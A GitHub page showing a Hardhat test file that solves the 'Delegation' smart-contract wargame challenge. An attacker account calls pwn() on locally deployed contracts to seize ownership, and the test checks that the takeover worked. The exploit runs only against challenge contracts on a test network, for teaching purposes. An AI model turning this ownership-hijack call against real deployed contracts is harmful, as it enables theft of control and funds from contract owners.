-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy path06-Delegation.spec.ts
More file actions
42 lines (34 loc) · 1.21 KB
/
06-Delegation.spec.ts
File metadata and controls
42 lines (34 loc) · 1.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { Contract } from "ethers";
import { ethers } from "hardhat";
describe("Delegation", () => {
let delegate: Contract;
let delegation: Contract;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
before(async () => {
[owner, attacker] = await ethers.getSigners();
const [DelegateFactory, DelegationFactory] = await Promise.all([
ethers.getContractFactory("Delegate"),
ethers.getContractFactory("Delegation"),
]);
delegate = await DelegateFactory.deploy(owner.address);
await delegate.deployed();
delegation = await DelegationFactory.deploy(delegate.address);
await delegation.deployed();
delegate = delegate.connect(attacker);
delegation = delegation.connect(attacker);
});
it("Solves the challenge", async () => {
const iface = new ethers.utils.Interface(["function pwn()"]);
const data = iface.encodeFunctionData("pwn");
const tx = await attacker.sendTransaction({
to: delegate.address,
data,
gasLimit: 100000,
});
await tx.wait();
expect(await delegate.owner()).to.equal(attacker.address);
});
});